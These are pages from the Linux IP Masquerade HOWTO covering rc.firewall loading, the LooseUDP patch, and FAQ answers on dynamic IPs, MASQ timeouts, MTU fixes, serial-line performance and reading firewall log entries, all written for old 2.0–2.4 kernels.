    • This tool, much like the older IPCHAINS and IPFWADM tools enables the various Masquerding code, more advanced forms of NAT, packet filtering, etc. It also makes use of additional MASQ modules like the FTP and IRC modules. Additional information on version requirements for the newest IPTABLES howto, etc. is located at the Unreliable IPTABLES HOWTOs page (mirror at Samba.org).

  • Loadable kernel modules, preferably 2.1.121 or higher, are available from http://www.pi.se/blox/modutils/index.html or ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils

  • A properly configured and running TCP/IP network running on the Linux machine as covered in Linux NET-3-4 HOWTO and the Network Administrator's Guide . Also check out the TrinityOS document which is also authored by David Ranch. TrinityOS is a very comprehensive guide for Linux networking. Some topics include IP MASQ, security, DNS, DHCP, Sendmail, PPP, Diald, NFS, IPSEC-based VPNs, and performance sections, to name a few. There are over Fifty sections in all!

  • Connectivity to the Internet for your Linux host covered in Linux ISP Hookup HOWTO, Linux PPP HOWTO, and TrinityOS. Other helpful HOWTOs could include: Linux DHCP mini-HOWTO, Linux Cable Modem mini-HOWTO and http://www.linuxdoc.org/HOWTO/DSL-HOWTO/index.html

  • Know how to configure, compile, and install a new Linux kernel as described in the Linux Kernel HOWTO. This HOWTO does cover kernel compiling but only for IP Masquerade related options.

Prev | Home | Next
How does IP Masquerade Work? | Up | Requirements for IP Masquerade on Linux 2.2.x


Loading up the rc.firewall ruleset

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.1. Loading up the rc.firewall ruleset

Ok, run the command "/etc/rc.d/rc.firewall".

Does it load without any strange errors? Yes, try these tests:

  • ip_tables, Using /lib/modules/2.4.2-2/kernel/net/ipv4/netfilter/ip_tables.o
/lib/modules/2.4.2-2/kernel/net/ipv4/netfilter/ip_tables.o: init_module: Device
or resource busy
Hint: insmod errors can be caused by incorrect module parameters, including
invalid IO or IRQ parameters

    Run the command "/sbin/lsmod" and make sure the module "ipchains.o" is NOT installed. If it is installed, your machine (most likely Redhat-7.x based) is probably trying to load an IPCHAINS ruleset which is incompatible with IPTABLES.

    To disable this from happening in the future, run the command:
       chkconfig --level=2345 ipchains off

    To remove the "ipchains" module without rebooting, run the command:
       /sbin/rmmod ipchains
    and the re-try to load the rc.firewall ruleset.

  • No such file: Did you copy this rc.firewall file from a DOS machine? Load the rc.firewall file in a binary editor (vim -b /etc/rc.d/rc.firewall) and make sure that every line is NOT finished with a ^M.

Prev | Home | Next
Testing IP Masquerade | Up | Testing internal MASQ client PC connectivity


Gamers: The LooseUDP patch

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.10. Gamers: The LooseUDP patch

The LooseUDP patch allows NAT-friendly games that usually use UDP connections to both WORK and perform quite well behind a Linux IP Masquerade server. Currently, LooseUDP is available as a patch for 2.0.36+ kernels and it is already built into 2.2.3+ kernels though it is now DISABLED by DEFAULT in 2.2.16+ (please see the example rc.firewal ruleset comments for details).

To get LooseUDP running on a 2.0.x kernel, follow the following steps:

  • Have the newest 2.0.x kernel sources uncompressed in the /usr/src/linux directory

  • ABSOLUTELY REQUIRED for v2.0.x: Download and install the IPPORTFW patch from Section 3.2.3and as described in Section 6.7of the HOWTO.

  • Download the LooseUDP patch from Section 3.2.3

    Now, put the LooseUDP patch in the /usr/src/linux directory. Once this is done, type in:

    For a compressed patch file:  zcat loose-udp-2.0.36.patch.gz | patch -p1

    For a NON-compressed patch file:  cat loose-udp-2.0.36.patch | patch -p1

    Now, depending on the version of your "patch", You will then see the following text:

    patching file `CREDITS'
patching file `Documentation/Configure.help'
patching file `include/net/ip_masq.h'
patching file `net/ipv4/Config.in'
patching file `net/ipv4/ip_masq.c'

  • If you see the text "Hunk FAILED" only ONCE and ONLY ONCE at the very beginning of the patching, don't be alarmed. You probably have an old patch file (this has been fixed) but it still works. If it fails completely, make sure you have applied the IPPORTFW kernel patch FIRST.

    Once the patch is installed, re-configure the kernel as shown in Section 3.2.3 and be sure to say "Y" to the "IP: loose UDP port managing (EXPERIMENTAL) (CONFIG_IP_MASQ_LOOSE_UDP) [Y/n/?]" option.

To get LooseUDP running on a 2.2.x kernel, follow the following steps:

  • In the /etc/rc.d/rc.firewall script, goto the BOTTOM of the file and find the LooseUDP section. Change the "0" in the line: echo "0" > /proc/sys/net/ipv4/ip_masq_udp_dloose to a "1" and re-run the rc.firewall ruleset. An example of this is given in both Section 3.4.2 example and Section 6.4.3 example.

Once you are running the new LooseUDP enabled kernel, you should be good to go for most NAT-friendly games. Some URLs have been given for patches to make games like BattleZone and others NAT friendly. Please see Section 6.3.1 for more details.

Prev | Home | Next
Mirabilis ICQ | Up | Frequently Asked Questions


( Dial on Demand ) - Can I use Diald or the Dial-on-Demand feature of PPPd with IP MASQ?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.10. ( Dial on Demand ) - Can I use Diald or the Dial-on-Demand feature of PPPd with IP MASQ?

Definitely! IP Masquerading is totally transparent to Diald or PPP. The only thing that might become an issue is if you use STRONG firewall rulesets with dynamic IP addresses. See the FAQ item, "Does IP Masquerade work with dynamically assigned IP addresses?" above for more details.

Prev | Home | Next
( MASQ and various networks ) - Can I use a cable modem (both bi-directional and with modem returns), DSL, satellite link, etc. to connect to the Internet and use IP Masquerade? | Up | ( Apps ) - What applications are supported with IP Masquerade?


( MASQ and Dynamic IPs ) - Does IP Masquerade work with dynamically assigned IP addresses?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.8. ( MASQ and Dynamic IPs ) - Does IP Masquerade work with dynamically assigned IP addresses?

Yes, it works with either dynamic IP addressed assigned by your ISP via either PPP or a DHCP/BOOTp server. As long as you have a valid Internet IP address, it should work. Of course, static IP works too. Yet, if you plan on implementing a strong IPFWADM/IPCHAINS ruleset and/or plan on using a Port forwarder, your ruleset will have to be re-executed everytime your IP address changes. Please see the top of TrinityOS - Section 10 for additional help with strong firewall rulesets and Dynamic IP addresses.

Prev | Home | Next
( GUI ) - Are there any GUI firewall creation/management tools? | Up | ( MASQ and various networks ) - Can I use a cable modem (both bi-directional and with modem returns), DSL, satellite link, etc. to connect to the Internet and use IP Masquerade?


( Odd Behavior ) - When my Internet connection first comes up, nothing works. If I try again, everything then works fine. Why is this?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.14. ( Odd Behavior ) - When my Internet connection first comes up, nothing works. If I try again, everything then works fine. Why is this?

The reason is because you have a dynamic IP address and when your Internet connection first comes up, IP Masquerade doesn't know its IP address. There is a solution to this. In your /etc/rc.d/rc.firewall ruleset, add the following:

# Dynamic IP users:
#
#   If you get your IP address dynamically from SLIP, PPP, or DHCP, enable this
#   following option.  This enables dynamic-ip address hacking in IP MASQ, making
#   the life with Diald and similar programs much easier.
#
echo "1" > /proc/sys/net/ipv4/ip_dynaddr

Prev | Home | Next
( Timeouts ) - Connections seem to break if I don't use them often. Why is that? | Up | ( MTU ) - IP MASQ seems to be working fine but some sites don't work. This usually happens with WWW and FTP.


( MASQ Security ) - Can I configure IP MASQ to allow Internet users to directly contact internal MASQed servers?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.20. ( MASQ Security ) - Can I configure IP MASQ to allow Internet users to directly contact internal MASQed servers?

Yes! With IPPORTFW, you can allow ALL or only a select few Internet hosts to contact ANY of your internal MASQed computers. This topic is completely covered in Section 6.7 in this HOWTO.

Prev | Home | Next
( Logs ) - Now that I have IP Masquerading up, I'm getting all sorts of weird notices and errors in the SYSLOG log files. How do I read the IPFWADM/IPCHAINS firewall errors? | Up | ( Free Ports ) - I'm getting "kernel: ip_masq_new(proto=UDP): no free ports." in my SYSLOG files. Whats up?


( Email list ) - How do I join or view the IP Masquerade and/or IP Masqurade Developers mailing lists and archives?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.5. ( Email list ) - How do I join or view the IP Masquerade and/or IP Masqurade Developers mailing lists and archives?

There are two ways to join the two Linux IP Masquerading mailing lists. The first way is to send an email to masq-request@indyramp.com. To join the Linux IP Masquerading Developers mailing list, send an email to masq-dev-request@indyramp.com. Please see the bullet below for more details.

  • Subscribe via email: Now put the word "subscribe" in either the subject or body of the e-mail message. If you want to only subscribe to the Digest version of either the main MASQ or MASQ-DEV list (all e-mails on the given list during the week are sent to you in one big email), put the words "subscribe digest" in either the subject or body of the e-mail message.

    Once the server receives your request, it will subscribe you to your requested list and give you a PASSWORD. Save this password as you will need it to later unsubscribe from the list or change your options.

The second method is to use a WWW browser and subscribe via a form at http://www.indyramp.com/masq-list/ for the main MASQ list or http://www.indyramp.com/masq-dev-list/ for the MASQ-DEV list.

Once subscribed, you will get emails from your subscribed list. It should be also noted that both subscribed and NON-subscribed users can access the two list's archives. To do this, please see the above two WWW URLs for more details.

Lastly, please note that you can only post to the MASQ list from the original account/address you used to subscribe.

If you have any problems regarding the mailing list or the mailing list archive, please contact Robert Novak.

Prev | Home | Next
( Still wont work ) - I've checked all my configurations, I still can't get IP Masquerade to work. What should I do? | Up | ( NAT vs. Proxy ) - How does IP Masquerade differ from Proxy or NAT services?


( Logs ) - Now that I have IP Masquerading up, I'm getting all sorts of weird notices and errors in the SYSLOG log files. How do I read the IPFWADM/IPCHAINS firewall errors?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.19. ( Logs ) - Now that I have IP Masquerading up, I'm getting all sorts of weird notices and errors in the SYSLOG log files. How do I read the IPFWADM/IPCHAINS firewall errors?

There is probably two common things that you are going to see:

  • MASQ: Failed TCP Checksum error: You will see this error when a packet coming from the Internet gets corrupt in the data section of the packet but the rest of it "seems" ok. When the Linux box receives this packet, it will calculate the CRC of the packet and determine that its corrupt. On most machines running OSes like Microsoft Windows, they just silently drop the packets but Linux IP MASQ reports it. If you get a LOT of them over your PPP link, first follow the FAQ entry above for "Masq is slow".

  • If the above tips don't help, try adding the line "-vj" to your /etc/ppp/options file and restart PPPd.

  • Firewall hits: Because you are on the Internet with a decent firewall, you will be surprised with the number of users trying to penetrate your Linux box! So what do all these firewall logs mean?

  • From the TrinityOS - Section 10 doc:

        In the below rulesets, any line that either DENYs or REJECTs
    traffic also has a "-o" to LOG this firewall hit in the SYSLOG
    messages file found at:

        Redhat: 	/var/log
        Slackware:	/var/adm

    If you take a look at one of these firewall logs, you would see something
        like:

    ---------------------------------------------------------------------
    IPFWADM:
    Feb 23 07:37:01 Roadrunner kernel: IP fw-in rej eth0 TCP 12.75.147.174:1633
       100.200.0.212:23 L=44 S=0x00 I=54054 F=0x0040 T=254

    IPCHAINS:
    Packet log: input DENY eth0 PROTO=17 12.75.147.174:1633 100.200.0.212:23
      L=44 S=0x00 I=54054 F=0x0040 T=254
    ---------------------------------------------------------------------

  There is a LOT of information in just this one line.  Lets break out this
  example.  You should refer back to the original firewall hit as you read this.
  Please note that this example is for IPFWADM though it is DIRECTLY readable for
  IPCHAINS users.

    --------------

    - This firewall "hit" occurred on "Feb 23 07:37:01"

    - This hit was on the "RoadRunner" computer.

    - This hit occurred on the "IP" or TCP/IP protocol

    - This hit came IN to ("fw-in") the firewall
        * Other logs can say "fw-out" for OUT or "fw-fwd" for FORWARD

    - This hit was then "rejECTED".
        * Other logs can say "deny" or "accept"

    - This firewall hit was on the "eth0" interface (Internet link)

    - This hit was a "TCP" packet

    - This hit came from IP address "12.75.147.174" on return port "1633".

    - This hit was addressed to "100.200.0.212" on port "23" or TELNET.
        * If you don't know that port 23 is for TELNETing, look at your
             /etc/services file to see what other ports are used for.

    - This packet was "44" bytes long

    - This packet did NOT have any "Type of Service" (TOS) set
        --Don't worry if you don't understand this.. not required to know
        * divide this by 4 to get the Type of Service for ipchains users

    - This packet had the "IP ID" number of "18"
        --Don't worry if you don't understand this.. not required to know

    - This packet had a 16bit fragment offset including any TCP/IP packet
      flags of "0x0000"
        --Don't worry if you don't understand this.. not required to know
        * A value that started with "0x2..." or "0x3..." means the "More
          Fragments" bit was set so more fragmented packets will be coming in
          to complete this one BIG packet.
        * A value which started with "0x4..." or "0x5..." means that the
          "Don't Fragment" bit is set.
        * Any other values are the Fragment offset (divided by 8) to be later
          used to recombine into the original LARGE packet

    - This packet had a TimeToLive (TTL) of 20.
        * Every hop over the Internet will subtract (1) from this number.
                  Usually, packets will start with a number of (255) and if that
                  number ever reaches (0), it means that realistically, the packet was
                  lost and most likely will be deleted.

Prev | Home | Next
( PORTFW ) - IP Masquerading with PORTFWing seems to break when my line is idle for long periods | Up | ( MASQ Security ) - Can I configure IP MASQ to allow Internet users to directly contact internal MASQed servers?


( Performance ) - IP Masquerading seems slow

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.17. ( Performance ) - IP Masquerading seems slow

There might be a few reasons for this:

  • You might be unrealistic about how much available bandwidth is on your modem line. Lets do the math for a typical 56k modem connection:

    1. 56k modems = 56,000 bits per second.

    2. You really DON'T have a 56k modem but a 52k modem per US FCC limitations.

    3. You'll almost NEVER get 52k, the best connection I used to get was 48k

    4. 48,000 bits per second is 4,800 BYTES per second (8 bits to a byte + 2 bits for the START and STOP RS-232 serial bits)

    5. With an MTU of 1500, you will get (3.2) packets in one second. Since this will involve fragmentation, you need to round DOWN to (3) packets per second.

    6. Again with MTU of 1500, thats 3.2 x 40 bytes of TCP/IP overhead (8%)

    7. So the BEST throughput you could hope for is 4.68KB/s w/o compression. Compression, be it v.42bis hardware compression, MNP5, or MS/Stac compression can yeild impressive numbers on highly compressable stuff like TEXT files, but acutally slow things down when transfering pre-compressed files like ZIPs, MP3s, etc.

Ethernet attached setups (DSL, Cablemodem, LANs, etc)

  • Make sure you don't have both your INTERNAL and EXTERNAL networks running on the same network card with the "IP Alias" feature. If you ARE doing this, it can be made to work but it will be excessively slow due to high levels of collisions, IRQ usage, etc. It is highly recommended that you install another network card for the internal and external networks to have their own interface.

  • Make sure you have the right Ethernet settings for both SPEED and DUPLEX.

  • Some 10Mb/s Ethernet cards and most 100Mb/s cards support FULL Duplex connections. Direct connections from an Ethernet card to, say, a DSL modem (without any hubs in between) *CAN* be set to FULL DUPLEX but only if the DSL modem supports it. You should also be sure that you have Ethernet cables with all eight wires used and that they are in good condition.

    Internal networks that use HUBs -cannot- use Full Duplex. You need either a 10 or 100Mb.s Ethernet SWITCH to be able to do this.

    Both auto 10/100Mb/s SPEED negotiation and Full/Half DUPLEX negotiation on Ethernet cards can wreck havoc on networks. I recommend to hard code both the NIC speed and duplex into the NIC(s) if possible. This is directly possible via Linux NIC kernel modules but isn't directly possible in monolithic kernels. You will need to either use MII utililies from Section 8.1 or hardcode the kernel source.

Optimize your MTU and set the TCP Sliding window to at least 8192

  • Though this is COMPLETELY out of the scope of this document, this helps QUITE A BIT with ANY network link you have, be it an internal or external PPP, Ethernet, TokenRing, etc. link. For more details, this topic is briefly touched in an above section in Section 7.15. For even more details, check out the Network Optimization section of TrinityOS - Section 16.

Serial based modem users with PPP

  • If you have an external modem, make sure you have a good serial cable. Also, many PCs have cheesy ribbon cables connecting the serial port from the motherboard or I/O card to the serial port connection. If you have one of these, make sure it is in good condition. Personally, I have ferrite coils (those grey-black metal like rings) around ALL of my ribbon cables.

  • Make sure your MTU is set to 1500 as described in the FAQ section of this HOWTO above

  • Make sure that your serial port is a 16550A or better UART. Run "dmesg | more" to verify

  • Setup IRQ-Tune for your serial ports.

    On most PC hardware, the use of Craig Estey's IRQTUNE tool and significantly increase serial port performance including SLIP and PPP connections.

  • Make sure that your serial port for your PPP connection is running at 115200 (or faster if both your modem and serial port can handle it.. a.k.a ISDN terminal adapters)

    • 2.0.x kernels: The 2.0.x kernels are kind of an odd ball because you can't directly tell the kernel to clock the serial ports at 115200. So, in one of your startup scripts like the /etc/rc.d/rc.local or /etc/rc.d/rc.serial file, execute the following commands for a modem on COM2:

    • setserial /dev/ttyS1 spd_vhi

    • In your PPPd script, edit the actual pppd execution line to include the speed "38400" per the pppd man page.

    • 2.2.x kernels: Unlike the 2.0.x kernels, both the 2.1.x and 2.2.x kernels don't have this "spd_vhi" issue.

      So, in your PPPd script, edit the actual pppd execution line to include the speed "115200" per the pppd man page.

All interface types:

Prev | Home | Next
( FTP ) - MASQed FTP clients don't work. | Up | ( PORTFW ) - IP Masquerading with PORTFWing seems to break when my line is idle for long periods


( Stops working ) - IP MASQ works fine for a while but then it stops working. A reboot seems to fix this. Why?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.34. ( Stops working ) - IP MASQ works fine for a while but then it stops working. A reboot seems to fix this. Why?

I bet you are using IPAUTOFW and/or you have it compiled into the kernel huh?? This is a known problem with IPAUTOFW. It is recommend to NOT even configure IPAUTOFW into the Linux kernel and use IPPORTFW option instead. This is covered with more details in Section 6.7.

Prev | Home | Next
( Games ) - I want to get the XYZ network game to work through IP MASQ but it won't work. Help! | Up | ( SMTP Relay ) - Internal MASQed computers cannot send SMTP or POP-3 mail!


( Apps ) - What applications are supported with IP Masquerade?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.11. ( Apps ) - What applications are supported with IP Masquerade?

It is very difficult to keep track of a list of "working applications". However, most of the normal Internet applications are supported, such as WWW browsing (Netscape, MSIE, etc.), FTP (such as WS_FTP), TELNET, SSH, RealAudio, POP3 (incoming email - Pine, Eudora, Outlook), SMTP (outgoing email), etc. A somewhat more complete list of MASQ-compatible clients can be found in Section 6.3 in this HOWTO.

Applications involving more complicated protocols or special connection methods such as video conferencing software need special helper tools.

For more details, please see the Linux IP masquerading Applications page.

Prev | Home | Next
( Dial on Demand ) - Can I use Diald or the Dial-on-Demand feature of PPPd with IP MASQ? | Up | ( Distro Setup ) - How can I get IP Masquerade running on Redhat, Debian, Slackware, etc.?


( Distro ) - What Linux Distributions support IP Masquerading?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.1. ( Distro ) - What Linux Distributions support IP Masquerading?

If your Linux distribution doesn't support IP MASQ out of the box, don't worry. All you have to do is to re-compile the kernel as shown above in this HOWTO.

NOTE: If you can help us fill out this table, please email ambrose@writeme.com or dranch@trinnet.net.

  • Caldera < v1.2 : NO - ?

  • Caldera v1.3 : YES - 2.0.35 based

  • Caldera v2.2 : YES - 2.2.5 based

  • Caldera eServer v2.3 : YES - ? based

  • Debian v1.3 : NO - ?

  • Debian v2.0 : NO - ?

  • Debian v2.1 : YES - 2.2.1 based

  • Debian v2.2 : YES - 2.2.15 based

  • DLX Linux v? : ? - ?

  • DOS Linux v? : ? - ?

  • FloppyFW v1.0.2 : ? - ?

  • Hal91 Linux v? : ? - ?

  • Linux Mandrake v5.3 : YES - ?

  • Linux Mandrake v6.0 : YES - 2.2.5 based

  • Linux PPC vR4 : NO - ?

  • Linux Pro v? : ? - ?

  • LinuxWare v? : ? - ?

  • Mandrake v6.0 : YES - ?

  • Mandrake v6.1 : YES - ?

  • Mandrake v7.0 : YES - 2.2.14

  • Mandrake v7.1 : YES - 2.2.15

  • Mandrake v7.2 : YES - 2.2.17

  • MkLinux v? : ? - ?

  • MuLinux v3rl : YES - ?

  • Redhat < v4.x : NO - ?

  • Redhat v5.0 : YES - ?

  • Redhat v5.1 : YES - 2.0.34 based

  • Redhat v5.2 : YES - 2.0.36 based

  • Redhat v6.0 : YES - 2.2.5 based

  • Redhat v6.1 : YES - 2.2.12 based

  • Redhat v6.2 : YES - 2.2.14 based

  • Redhat v7.0 : YES - 2.2.16 based

  • Slackware v3.0 : ? - ?

  • Slackware v3.1 : ? - ?

  • Slackware v3.2 : ? - ?

  • Slackware v3.3 : ? - 2.0.34 based

  • Slackware v3.4 : ? - ?

  • Slackware v3.5 : ? - ?

  • Slackware v3.6 : ? - ?

  • Slackware v3.9 : ? - 2.0.37pre10 based

  • Slackware v4.0 : YES - 2.2.6 based

  • Slackware v7.0 : YES - 2.2.13 based

  • Slackware v7.1 : YES - 2.2.16 based

  • Slackware v8.0 : YES - 2.4.17 based

  • Stampede Linux v? : ? - ?

  • SuSE v5.2 : YES - 2.0.32 base

  • SuSE v5.3 : YES - ?

  • SuSE v6.0 : YES - 2.0.36 based

  • SuSE v6.1 : YES - 2.2.5 based

  • SuSE v6.3 : YES - 2.2.13 based

  • Tomsrbt Linux v? : ? - ?

  • TurboLinux Lite v4.0 : YES - ?

  • TurboLinux v6.0 : YES - 2.2.12 based

  • TriLinux v? : ? - ?

  • Yggdrasil Linux v? : ? - ?

Prev | Home | Next
Frequently Asked Questions | Up | ( Requirements ) - What are the minimum hardware requirements and any limitations for IP Masquerade? How well does it perform?


( Timeouts ) - Connections seem to break if I don't use them often. Why is that?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.13. ( Timeouts ) - Connections seem to break if I don't use them often. Why is that?

IP Masq, by default, sets its timers for TCP session, TCP FIN, and UDP traffic to 15 minutes. It is recommend to use the following settings (as already shown in this HOWTO's /etc/rc.d/rc.firewall ruleset) for most users:

Linux 2.0.x with IPFWADM:

# MASQ timeouts
#
#   2 hrs timeout for TCP session timeouts
#  10 sec timeout for traffic after the TCP/IP "FIN" packet is received
#  60 sec timeout for UDP traffic (MASQ'ed ICQ users must enable a 30sec
#     firewall timeout in ICQ itself)
#
/sbin/ipfwadm -M -s 7200 10 60

Linux 2.2.x with IPCHAINS:

# MASQ timeouts
#
#   2 hrs timeout for TCP session timeouts
#  10 sec timeout for traffic after the TCP/IP "FIN" packet is received
#  60 sec timeout for UDP traffic (MASQ'ed ICQ users must enable a 30sec
#     firewall timeout in ICQ itself)
#
/ipchains -M -S 7200 10 60

Prev | Home | Next
( Distro Setup ) - How can I get IP Masquerade running on Redhat, Debian, Slackware, etc.? | Up | ( Odd Behavior ) - When my Internet connection first comes up, nothing works. If I try again, everything then works fine. Why is this?


( FTP ) - MASQed FTP clients don't work.

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.16. ( FTP ) - MASQed FTP clients don't work.

Check to see that the "ip_masq_ftp" module is loaded. To do this, log into the MASQ server and run the command "/sbin/lsmod". If you don't see the "ip_masq_ftp" module loaded, make sure that you followed the BASIC /etc/rc.d/rc.firewall recommendations found in Section 3.4. If you are implementing your own ruleset, make sure you include most of the examples from the HOWTO or you will have many susequent problems.

Prev | Home | Next
( MTU ) - IP MASQ seems to be working fine but some sites don't work. This usually happens with WWW and FTP. | Up | ( Performance ) - IP Masquerading seems slow


( More INFO ) - Where can I find more information on IP Masquerade?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.43. ( More INFO ) - Where can I find more information on IP Masquerade?

You can find more information on IP Masquerade at the Linux IP Masquerade Resource that Ambrose Au maintains.

You can also find more information at Dranch's Linux page where the TrinityOS and other Linux documents are kept.

You may also find more information at The Semi-Original Linux IP Masquerading Web Site maintained by Indyramp Consulting, who also provides the IP Masq mailing list.

Lastly, you can look for specific questions in the IP MASQ and IP MASQ DEV email archives or ask a specific question on these lists. Check out Section 7.5 FAQ item for more details.

Prev | Home | Next
( Developers ) - I want to help with IP Masquerade development. What can I do? | Up | ( Translators ) - I want to translate this HOWTO to another language, what should I do?


( MTU ) - IP MASQ seems to be working fine but some sites don't work. This usually happens with WWW and FTP.

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.15. ( MTU ) - IP MASQ seems to be working fine but some sites don't work. This usually happens with WWW and FTP.

There are two possible reasons for this. The first one is VERY common and the second is very UNCOMMON.

  • As of the 2.0.38 and 2.2.9+ Linux kernels, there is a debatable BUG in the Masquerade code.

    Some users point their finger to the fact that IPMASQ might have problems with packets that have the DF or "Don't Fragment" bit set. Basically, when a MASQ box connects to the Internet with an MTU of anything less than 1500, some packets would have the DF field set. Though changing the MTU 1500 on the Linux box will seemingly fix the problem, the possible bug is still there. What is believed to be happening is that the MASQ code is not properly re-writing the return ICMP packets with the ICMP 3 Sub 4 code back to the originating MASQed computer. Because of this, the packets get dropped.

    Other users point their finger at the adminstrators of the remote sites (typically SSL connected sites, etc) and say that because they are filtering ALL FORMS of ICMP (including Type4 - Fragmentation Needed) messages in a fray of security paranoia, they are breaking the fundamental aspects of the TCP/IP protocol.

    Both arguments have valid points and users from each camp continue to debate this down to this day. If you are a network programmer and you think you can either fix or surmise this.. PLEASE TRY! For more details, check out this following MTU Thread from the Linux-Kernel list.

    No worries though. A perfectly good way to bypass this is to change your Internet link's MTU to 1500. Now some users will balk at this because it can hurt some latency specific programs like TELNET and games but the impact is only slight. On the other hand, most HTTP and FTP traffic will SPEED UP!

    [ -- If you have a PPPoE connection for your DSL/Cablemodem or choose not to change the MTU to 1500, see below for a different solution. -- ]

    To fix this, first see what your current MTU for your Internet link is. To do so, run "/bin/ifconfig". Now look at the lines that corresponds to your Internet connection and look for the MTU. This NEEDs to be set to 1500. Usually, Ethernet links will default to 1500 but serial PPP links will default to 576.

7.15.1. Changing the MTU of a PPP link:

  • To fix the MTU issue on your PPP link, edit your /etc/ppp/options file and towards the top, add the following text on two seperate lines: "mtu 1500" and "mru 1500". Save these new changes and then restart PPP. Like above, again verify that your PPP link has the correct MTU and MTU.

  • To fix the MTU issue on a standard Ethernet link to your bridged or routed DSL, Cablemodem, etc. connection, you need to edit the correct network startup scripts for your Linux distribution. Please see the TrinityOS - Section 16 document for network optimizations.

7.15.2. Old UNIX Serial interfaces:

  • Lastly, though this isn't a common problem, some users have found the solution to the following problem. With PPP users, verify what port is your PPPd code connecting to. Is it a /dev/cua* port or a /dev/ttyS* port? It NEEDS to be a /dev/ttyS* port. The cua style is OLD and it breaks some things in very odd ways.

7.15.3. PPPoE Users:

For those users who use PPPoE (this has a maximum MTU of 1490) or for those users who choose NOT to use an MTU of 1500, not is all lost. If you reconfigure ALL of your MASQed PCs to use the SAME MTU as your external Internet link's MTU, everything should work fine. It should be noted that some PPPoE ISPs might require an MTU of 1460 for proper connectivity.

How would you do this? Follow these simple steps for your respective operating system.

The follow examples utilizes an MTU of 1490 for typical PPPoE connections for some DSL and Cablemodem users. It is recommended to use the HIGHEST values possible for all connections that are 128Kb/s and faster.

The only real reason to use smaller MTUs is to lower latency but at the cost of throughput. Please see:

http://www.ecst.csuchico.edu/~dranch/PPP/ppp-performance.html#mtu

for more details on this topic.

*** If you have had SUCCESS, FAILURE, or have procedures for OTHER operating *** systems, please email David Ranch. Thanks!

7.15.4. Linux:

------------------------------------------
1. The setting of MTU can vary from Linux distribution to distribution.

   For Redhat: You need to edit the various "ifconfig" statements in
               the /sbin/ifup script

   For Slackware: You need to edit the various "ifconfig" statements in
                  the /etc/rc.d/rc1.inet

2. Here is one good, any-distribution-will-work example, edit the
   /etc/rc.d/rc.local file and put the following at the END of the file:

        echo "Changing the MTU of ETH0"
        /sbin/ifconfig eth0 mtu 1490

     Replace "eth0" with the interface name that is the machine's upstream
     connection which is connected to the Internet.

3. For advanced options like "TCP Receive Windows" and such, detailed examples
   on how to edit the respective networking scripts for your specific Linux
   distro, etc., please see Chapter 16 of
   http://www.ecst.csuchico.edu/~dranch/LINUX/index-linux.html#trinityos
------------------------------------------

7.15.5. MS Windows 95:

------------------------------------------
1. Making ANY changes to the Registry is inheritantly risky but
   with a backup copy, you should be safe.  Proceed at your OWN RISK.

2. Goto Start-->Run-->RegEdit

3. You should make a backup copy of your Registry before continuing.  To
   do this, copy the "user.dat" and "system.dat" files from the \WINDOWS
   directory and put them into a safe place.  It should be noted that the
   previously mentioned method of using "Regedit: Registry-->Export Registry
   File-->Save a copy of your registry" would only do Registry MERGES and NOT
   do a replacement.

4. Search through each of the Registry trees that end in "n" (e.g. 0007)
   and have a Registry entry called "IPAddress", which has the IP address
   of your NIC.  Under that key, add the following:

   From http://support.microsoft.com/support/kb/articles/q158/4/74.asp

     [Hkey_Local_Machine\System\CurrentControlset\Services\Class\NetTrans\000n]

         type=DWORD
         name="MaxMTU"           (Do NOT include the quotes)
         value=1490 (Decimal)    (Do NOT include the text "(Decimal)")

         type=DWORD
         name="MaxMSS"           (Do NOT include the quotes)
         value=1450 (Decimal)    (Do NOT include the text "(Decimal>")

5. You can also change the "TCP Receive Window" which sometimes
   increases network performance SUBSTANTIALLY.  If you notice your
   throughput has DECREASED, put these items BACK to their original
   settings and reboot.

     [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP]
        type=DWORD
        name="DefaultRcvWindow"   (Do NOT include the quotes)
        value=32768 (Decimal)     (Do NOT include the text "(Decimal>")

        type=DWORD
        name="DefaultTTL"         (Do NOT include the quotes)
        value=128 (Decimal)       (Do NOT include the text "(Decimal>")

6. Reboot to let the changes take effect.
------------------------------------------

7.15.6. MS Windows 98:

------------------------------------------
1. Making ANY changes to the Registry is inheritantly risky but
   with a backup copy, you should be safe.  Proceed at your OWN RISK.

2. Goto Start-->Run-->RegEdit

3. You should make a backup copy of your Registry before doing anything.  To
   do this, copy the "user.dat" and "system.dat" files from the \WINDOWS
   directory and put them into a safe place.  It should be noted that the
   previously mentioned method of using "Regedit: Registry-->Export Registry
   File-->Save a copy of your registry" would only perform Registry MERGES
   and NOT do a replacement.

4. Search though each of the Registry trees that end in "n" (e.g. 0007)
   and have a Registry entry called "IPAddress" which has the IP address
   of your NIC.  Under that key, add the following:

   From http://support.microsoft.com/support/kb/articles/q158/4/74.asp

     [Hkey_Local_Machine\System\CurrentControlset\Services\Class\NetTrans\000n]
         type=STRING
         name="MaxMTU"            (Do NOT include the quotes)
         value=1490 (Decimal)     (Do NOT include the text "(Decimal)")

5. You can also change the "TCP Receive Window" which sometimes
   increases network performance SUBSTANTIALLY.  If you notice your
   throughput has DECREASED, put these items BACK to their original
   settings and reboot.

     [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP]

        type=STRING
